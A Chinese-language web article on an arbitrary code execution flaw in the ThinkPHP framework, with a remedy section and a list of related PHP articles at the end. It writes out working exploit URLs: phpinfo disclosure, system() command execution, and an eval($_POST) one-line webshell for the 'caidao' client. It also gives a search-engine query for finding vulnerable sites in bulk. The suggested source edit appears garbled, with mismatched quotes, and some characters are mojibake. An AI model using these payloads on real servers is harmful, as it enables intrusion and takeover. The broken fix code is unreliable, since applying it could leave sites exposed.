ThinkPHP框架任意代碼執(zhí)行漏洞的利用及其修復(fù)方法
ThinkPHP是國(guó)內(nèi)著名的開源的PHP框架，是為了簡(jiǎn)化企業(yè)級(jí)應(yīng)用開發(fā)和敏捷WEB應(yīng)用開發(fā)而誕生的。最早誕生于2006年初，原名FCS，2007年元旦正式更名為ThinkPHP，并且遵循Apache2開源協(xié)議發(fā)布。早期的思想架構(gòu)來源于Struts，后來經(jīng)過不斷改進(jìn)和完善，同時(shí)也借鑒了國(guó)外很多優(yōu)秀的框架和模式，使用面向?qū)ο蟮拈_發(fā)結(jié) 構(gòu)和MVC模式，融合了Struts的Action和Dao思想和JSP的TagLib（標(biāo)簽庫(kù)）、RoR的ORM映射和ActiveRecord模式， 封裝了CURD和一些常用操作，單一入口模式等，在模版引擎、緩存機(jī)制、認(rèn)證機(jī)制和擴(kuò)展性方面均有獨(dú)特的表現(xiàn).
然而近期thinkphp框架爆出了一個(gè)任意代碼執(zhí)行漏洞，其危害性相當(dāng)?shù)母?漏洞利用方法如下：
index.php/module/aciton/param1/${@print(THINK_VERSION)}
index.php/module/aciton/param1/${@function_all()}
其中的function_all代表任何函數(shù)，比如:
index.php/module/aciton/param1/${@phpinfo()}
就可以獲取服務(wù)器的系統(tǒng)配置信息等。
index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al
可以列出網(wǎng)站文件列表
index.php/module/action/param1/{${eval($_POST[s])}}
就可以直接執(zhí)行一句話代碼，用菜刀直接連接.
這樣黑客們就可以直接通過google批量搜索關(guān)鍵字：thinkphp intitle:系統(tǒng)發(fā)生錯(cuò)誤 來獲取更多使用thinkphp框架的網(wǎng)站列表?？梢娖湮：π韵喈?dāng)?shù)拇蟆?br />
thinkphp框架執(zhí)行任意代碼漏洞修復(fù)方法：
用戶可下載官方發(fā)布的補(bǔ)?。?br />
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
或者或者直接修改源碼：
將/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
修改為：
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));
將preg_replace第二個(gè)參數(shù)中的雙引號(hào)改為單引號(hào)，防止其中的php變量語(yǔ)法被解析執(zhí)行。
注：本文僅供學(xué)習(xí)參考使用，請(qǐng)不要用于非法用途。
更多關(guān)于thinkPHP相關(guān)內(nèi)容感興趣的讀者可查看本站專題：《ThinkPHP入門教程》、《thinkPHP模板操作技巧總結(jié)》、《ThinkPHP常用方法總結(jié)》、《smarty模板入門基礎(chǔ)教程》及《PHP模板技術(shù)總結(jié)》。
希望本文所述對(duì)大家基于ThinkPHP框架的PHP程序設(shè)計(jì)有所幫助。
相關(guān)文章
php layui實(shí)現(xiàn)前端多圖上傳實(shí)例
在本篇文章里小編給大家整理的是關(guān)于php結(jié)合layui前端實(shí)現(xiàn)多圖上傳的實(shí)例內(nèi)容，有需要的朋友們可以參考下。2019-07-07
Zend Framework教程之Zend_Db_Table用法詳解
這篇文章主要介紹了Zend Framework教程之Zend_Db_Table用法,結(jié)合實(shí)例形式詳細(xì)分析了Zend_Db_Table的功能,使用方法與相關(guān)注意事項(xiàng),需要的朋友可以參考下2016-03-03
Yii2實(shí)現(xiàn)自定義獨(dú)立驗(yàn)證器的方法
這篇文章主要介紹了Yii2實(shí)現(xiàn)自定義獨(dú)立驗(yàn)證器的方法,結(jié)合實(shí)例形式分析了Yii2自定義獨(dú)立驗(yàn)證器的實(shí)現(xiàn)與使用方法,需要的朋友可以參考下2017-05-05
這篇文章主要介紹了淺談PHP5.6 與 PHP7.0 區(qū)別，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-10-10
ThinkPHP數(shù)據(jù)操作方法總結(jié)
這篇文章主要介紹了ThinkPHP數(shù)據(jù)操作方法,以實(shí)例形式較為詳細(xì)的分析總結(jié)了ThinkPHP添加、更新、查詢及刪除數(shù)據(jù)的實(shí)現(xiàn)技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-09-09
Laravel 5框架學(xué)習(xí)之模型、控制器、視圖基礎(chǔ)流程
本文給大家介紹的是Laravel5框架中模型、控制器、視圖的基礎(chǔ)流程，其實(shí)MVC體系結(jié)構(gòu)模式將一個(gè)交互式系統(tǒng)分為三個(gè)組件。模型包含核心功能和數(shù)據(jù)。視圖向用戶顯示信息?？刂破魈幚碛脩糨斎?。視圖和控制器共同構(gòu)成了用戶接口。2015-04-04
這篇文章主要介紹了php使用百度ping服務(wù)代碼實(shí)例,百度ping服務(wù)可以加速對(duì)自己網(wǎng)站的收錄,一般在文章發(fā)表時(shí)調(diào)用,需要的朋友可以參考下2014-06-06
php反引號(hào)與短標(biāo)簽?zāi)_本示例
這篇文章主要為大家介紹了php反引號(hào)與短標(biāo)簽的腳本示例解析，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步早日升職加薪2022-04-04
ajax php傳遞和接收變量實(shí)現(xiàn)思路及代碼
在實(shí)際應(yīng)用中會(huì)遇到這種情況:ajax與php之間傳遞和接收變量,為了實(shí)現(xiàn)這一功能應(yīng)用，很多新手朋友們，只能望洋興嘆啊，于是本人搜集整理一些實(shí)用技巧，曬出來和大家分享，希望可以幫助你們2012-12-12
Thinkphp結(jié)合ajaxFileUpload實(shí)現(xiàn)ajax異步圖片傳輸全套代碼
這篇文章主要介紹了Thinkphp結(jié)合ajaxFileUpload實(shí)現(xiàn)ajax異步圖片傳輸全套代碼的相關(guān)資料,需要的朋友可以參考下2023-03-03